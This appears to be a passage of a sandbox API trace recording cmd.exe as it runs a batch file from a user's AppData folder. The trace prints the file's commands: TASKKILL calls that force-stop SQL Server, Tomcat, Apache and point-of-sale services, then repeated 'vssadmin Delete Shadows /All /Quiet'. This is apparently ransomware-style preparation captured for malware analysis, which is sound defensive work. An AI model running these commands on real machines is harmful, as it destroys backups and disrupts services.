returned 0xffffffff [0082.024] GetLastError () returned 0x2 [0082.024] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\TASKKILL", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0xffffffff [0082.025] GetLastError () returned 0x2 [0082.025] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0082.025] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\TASKKILL.*", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0x4b5f78 [0082.025] FindClose (in: hFindFile=0x4b5f78 | out: hFindFile=0x4b5f78) returned 1 [0082.025] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0xffffffff [0082.025] GetLastError () returned 0x2 [0082.025] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0x4b5f78 [0082.025] FindClose (in: hFindFile=0x4b5f78 | out: hFindFile=0x4b5f78) returned 1 [0082.025] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0082.025] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0082.025] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0082.025] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0082.025] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0082.025] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0082.025] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0082.025] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0082.025] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0082.025] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0082.025] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0082.025] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="PSExecu", _MaxCount=0x7) returned -13 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="WecVers", _MaxCount=0x7) returned -20 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0082.026] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0082.026] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1 [0082.026] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="TASKKILL /F /IM fbserver.exe /IM fbserver.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\kFT6uTQW\\Desktop", lpStartupInfo=0x1eeca4*(cb=0x48, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="TASKKILL /F /IM fbserver.exe /IM fbserver.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1eecf0 | out: lpCommandLine="TASKKILL /F /IM fbserver.exe /IM fbserver.exe ", lpProcessInformation=0x1eecf0*(hProcess=0x74, hThread=0x78, dwProcessId=0x948, dwThreadId=0x850)) returned 1 [0082.029] CloseHandle (hObject=0x78) returned 1 [0082.029] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0082.029] GetEnvironmentStringsW () returned 0x4b3fa0* [0082.029] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0082.029] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0082.545] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x1eebe4 | out: lpExitCode=0x1eebe4*=0x80) returned 1 [0082.545] CloseHandle (hObject=0x74) returned 1 [0082.545] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0082.545] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0082.545] GetEnvironmentStringsW () returned 0x4b3fa0* [0082.545] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0082.545] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0082.545] GetEnvironmentStringsW () returned 0x4b3fa0* [0082.546] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0082.546] DeleteProcThreadAttributeList (in: lpAttributeList=0x1eec48 | out: lpAttributeList=0x1eec48) [0082.546] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0082.546] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0082.546] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0082.546] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0082.546] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0082.546] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0082.546] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0082.546] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0082.546] SetConsoleInputExeNameW () returned 0x1 [0082.546] GetConsoleOutputCP () returned 0x1b5 [0082.546] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0082.546] SetThreadUILanguage (LangId=0x0) returned 0x409 [0082.546] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0082.547] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0082.547] _get_osfhandle (_FileHandle=3) returned 0x74 [0082.547] SetFilePointer (in: hFile=0x74, lDistanceToMove=257, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x101 [0082.547] _get_osfhandle (_FileHandle=3) returned 0x74 [0082.547] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x101 [0082.547] ReadFile (in: hFile=0x74, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x56f, lpOverlapped=0x0) returned 1 [0082.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=1391, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM fdhost.exe /IM fdhost.exe \nTASKKILL /F /IM fdlauncher.exe /IM fdlauncher.exe \nTASKKILL /F /IM GLDS.exe /IM GLDS.exe \nTASKKILL /F /IM grym.exe /IM grym.exe \nTASKKILL /F /IM httpd.exe /IM httpd.exe \nTASKKILL /F /IM igfxCUIService.exe /IM igfxCUIService.exe \nTASKKILL /F /IM iikoNet.Pos.WinService.exe /IM iikoNet.Pos.WinService.exe \nTASKKILL /F /IM mdm.exe /IM mdm.exe \nTASKKILL /F /IM MsDtsSrvr.exe /IM MsDtsSrvr.exe \nTASKKILL /F /IM msmdsrv.exe /IM msmdsrv.exe \nTASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe \nTASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe \nTASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 1391 [0082.547] _get_osfhandle (_FileHandle=3) returned 0x74 [0082.547] GetFileType (hFile=0x74) returned 0x1 [0082.547] _get_osfhandle (_FileHandle=3) returned 0x74 [0082.547] SetFilePointer (in: hFile=0x74, lDistanceToMove=-1348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12c [0082.548] _tell (_FileHandle=3) returned 300 [0082.548] _close (_FileHandle=3) returned 0 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0082.548] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0082.549] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0082.549] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0082.549] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0082.549] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0082.549] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0082.549] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0082.549] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0082.549] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0082.549] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4b5860, lpFilePart=0x1ef260 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x1ef260*="Desktop") returned 0x19 [0082.549] SetErrorMode (uMode=0x0) returned 0x1 [0082.549] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0082.549] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0082.549] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0082.549] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0082.549] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\TASKKILL.*", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0xffffffff [0082.549] GetLastError () returned 0x2 [0082.549] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\TASKKILL", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0xffffffff [0082.550] GetLastError () returned 0x2 [0082.550] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0082.550] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\TASKKILL.*", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0x4b5b58 [0082.550] FindClose (in: hFindFile=0x4b5b58 | out: hFindFile=0x4b5b58) returned 1 [0082.550] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0xffffffff [0082.550] GetLastError () returned 0x2 [0082.550] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0x4b5b58 [0082.550] FindClose (in: hFindFile=0x4b5b58 | out: hFindFile=0x4b5b58) returned 1 [0082.550] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0082.550] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0082.550] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0082.550] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4b3508, lpFilePart=0x1eeb4c | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x1eeb4c*="Desktop") returned 0x19 [0082.550] SetErrorMode (uMode=0x0) returned 0x1 [0082.550] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0082.550] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0082.551] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0082.551] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0082.551] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\TASKKILL.*", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0xffffffff [0082.551] GetLastError () returned 0x2 [0082.551] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\TASKKILL", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0xffffffff [0082.551] GetLastError () returned 0x2 [0082.551] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0082.551] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\TASKKILL.*", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0x4b5f68 [0082.551] FindClose (in: hFindFile=0x4b5f68 | out: hFindFile=0x4b5f68) returned 1 [0082.551] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0xffffffff [0082.551] GetLastError () returned 0x2 [0082.551] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0x4b5f68 [0082.552] FindClose (in: hFindFile=0x4b5f68 | out: hFindFile=0x4b5f68) returned 1 [0082.552] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0082.552] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0082.552] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0082.552] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0082.552] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0082.552] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0082.555] CloseHandle (hObject=0x74) returned 1 [0082.555] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0082.555] GetEnvironmentStringsW () returned 0x4b3fa0* [0082.555] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0082.555] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0083.038] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x1eebe4 | out: lpExitCode=0x1eebe4*=0x80) returned 1 [0083.039] CloseHandle (hObject=0x78) returned 1 [0083.039] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0083.039] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0083.039] GetEnvironmentStringsW () returned 0x4b3fa0* [0083.039] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0083.039] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0083.039] GetEnvironmentStringsW () returned 0x4b3fa0* [0083.039] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0083.039] DeleteProcThreadAttributeList (in: lpAttributeList=0x1eec48 | out: lpAttributeList=0x1eec48) [0083.039] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0083.039] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0083.039] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0083.039] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0083.039] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0083.039] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0083.039] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0083.039] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0083.040] SetConsoleInputExeNameW () returned 0x1 [0083.040] GetConsoleOutputCP () returned 0x1b5 [0083.040] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0083.040] SetThreadUILanguage (LangId=0x0) returned 0x409 [0083.040] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0083.040] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0083.040] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.040] SetFilePointer (in: hFile=0x78, lDistanceToMove=300, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12c [0083.040] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.040] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12c [0083.040] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x544, lpOverlapped=0x0) returned 1 [0083.041] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=1348, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM fdlauncher.exe /IM fdlauncher.exe \nTASKKILL /F /IM GLDS.exe /IM GLDS.exe \nTASKKILL /F /IM grym.exe /IM grym.exe \nTASKKILL /F /IM httpd.exe /IM httpd.exe \nTASKKILL /F /IM igfxCUIService.exe /IM igfxCUIService.exe \nTASKKILL /F /IM iikoNet.Pos.WinService.exe /IM iikoNet.Pos.WinService.exe \nTASKKILL /F /IM 